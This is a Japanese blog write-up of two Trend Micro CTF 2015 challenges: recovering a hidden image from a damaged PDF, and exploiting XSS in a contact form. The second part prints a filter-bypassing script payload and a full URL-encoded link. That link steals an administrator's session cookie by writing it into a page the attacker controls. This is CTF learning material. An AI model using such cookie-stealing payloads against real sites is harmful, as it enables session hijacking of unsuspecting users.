TMCTF Writeup (Analysis Others 100, Analysis Offensive 300)

Trend Micro Inc.が主催するTrendMicroCTFにTokyoWesternsのお荷物担当として参加してきました.

このCTFは本来8月に開催される予定だったのですが,イベント用スコアサーバの設定に一部誤りがあり、一時的に競技で使われる問題、回答にアクセスが可能な状態となっていたため,不運にもISUCONと重なる日に延期されました.
問題のオープン形式はDEFCON同様得点の小さいものから順番に開くが,オープンする問題は選べるのではなくそのジャンルの次の問題,という仕組みでした.(事前に聞いていたのと違う…?)
また開始直後はスコアサーバが激重で僕以外のメンバーが繋がらず,Programming 100は早速サービスが落ちていました.

ちなみに僕が解いたのはAnalysis Others 100, Analysis Offensive 300 (partially)の二問だけという悲しい結果に終わりました.腹いせにWriteupを書きます.

Analysis Others 100

PDFが与えられ,fix meとか言われるのでとりあえずexiftoolにかける.

~$ exiftool fix_my_pdf.pdf
ExifTool Version Number         : 9.96
File Name                       : fix_my_pdf.pdf
Directory                       : .
File Size                       : 32 kB
File Modification Date/Time     : 2015:09:26 12:44:33+09:00
File Access Date/Time           : 2015:09:27 02:24:28+09:00
File Inode Change Date/Time     : 2015:09:27 02:18:29+09:00
File Permissions                : rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.3
Linearized                      : No
Warning                         : Invalid xref table

Invalid xref tableとあるので,xrefがちゃんとリンクされてなくて表示されないコンテンツがあるんだろうな〜と思いつつpdfextractをかます.
いかにも怪しい<xmpGImg:image>というタグが見つかり,中は/9j/で始まるJPEGbase64 encodeしたような文字列なのでbase64で戻す.途中に&#xA(改行コード)が含まれているのでそれを置換するなり削除しておく. f:id:icchyr:20150928100452j:plain

TMCTF{There is always light behind the clouds.}

Analysis Offensive 300

脅威タイプ診断と称したWebアプリケーション.

f:id:icchyr:20150928102755p:plain

適当な名前を入れると

あふれる情熱が止まらないあなたは「バッファオーバーフロー」タイプです。

COOLな診断結果を返してくれる.  

下の方にコンタクトフォームへのリンク(contact.php)があって,名前とコメントを送信することができる.

意味わかんね〜って悩んでいると@ytokuさんがnameパラメータがvalidationされておらず,XSSできることを発見する.
ちなみにresult.php及びcontact.phpに対してGETパラメータとしてnameを渡すとあらかじめ名前が書き込まれた状態となる.(http://ctfquest.trendmicro.co.jp:40100/737c08b6f0ea477cb4ce3eb1b8e81a87/contact.php?name=hogehoge)

これはhttps://twitter.com/intent/tweet?text=text%E3%83%91%E3%83%A9%E3%83%A1%E3%83%BC%E3%82%BFと同様の挙動である.

しかしこのページはvalidationがほとんどされていない(scriptが一回削除されるだけである)ため, http://ctfquest.trendmicro.co.jp:40100/737c08b6f0ea477cb4ce3eb1b8e81a87/contact.php?name="><scrscriptipt>alert(1);</scrscriptipt> とかやると簡単に発火する.

いろいろ試しているうちにPHPSESSIDでnameを保持していることがわかり,どうやらXSSで管理者のPHPSESSIDを奪う問題らしい.

想定されるシナリオは

  1. 適当なCookieを取得
  2. XSSを利用し,自分のCookieを使用してresult.phpnameパラメータに漏洩させる情報(Cookie)を入れて,GETさせる
  3. 先ほどのCookieを用いてresult.phpにアクセスすると,nameに漏洩した情報がある

という流れ.
ただし一つ罠があって,管理者に踏ませるリンクはlocalhost(or 127.0.0.1)じゃないとアクセスできない.(ネットワークの外に出られないようになっている?)
以上を踏まえて,
nameパラメータに

"><scrscriptipt>tmp=document.cookie;
document.cookie='PHPSESSID=0ufcvu21seft5sn3l2sllni896';
location.href='result.php?name='+tmp</scripscriptt>

をURLエンコードしたものを渡した http://localhost:40100/737c08b6f0ea477cb4ce3eb1b8e81a87/contact.php?name=%22%3E%3Cscrscriptipt%3Etmp%3Ddocument.cookie%3B%0D%0Adocument.cookie%3D%27PHPSESSID%3D0ufcvu21seft5sn3l2sllni896%27%3B%0D%0Alocation.href%3D%27result.php%3Fname%3D%27%2Btmp%3C%2Fscripscriptt%3E
というURLを用意し,contact.phpcommentに入力して送信した.

その後result.phpに再度アクセスするとname{Cookie};PHPSESSID={Cookie}に書き換わり(Cookie保存し忘れた),得られたCookieを用いてresult.phpにアクセスするとflagが得られる.

余談

漏洩させたCookieを使うとnameがflagになっているのだが,threat_typeはXSS(Cross Site Scripting)になっていた.
今思い返してみると,threat_typeで確認できたのは 標的型攻撃,水飲み場型攻撃,バッファオーバーフローランサムウェアSQLインジェクション だったのでXSSが現れない,というのは大きなヒントだったのかもしれない.


CTFではそもそも脆弱性はあまり関係なかったり,「こんな脆弱性ありえないでしょw」みたいな問題が割と多いと思いますが,TMCTFではセキュリティ企業ならではの現場に即した対応能力が求められる問題(def300とか,PEバイナリとか)が多かったように思います.どちらかというと実戦的かなと.

TokyoWesternsは @nomeaning さんがかなりの数の問題を解いてくださったので6位という好成績に終わり,無事決勝戦に進めそうです.
決勝のA&Dは4人までなので,戦力に数えてもらえたら是非参加したいです.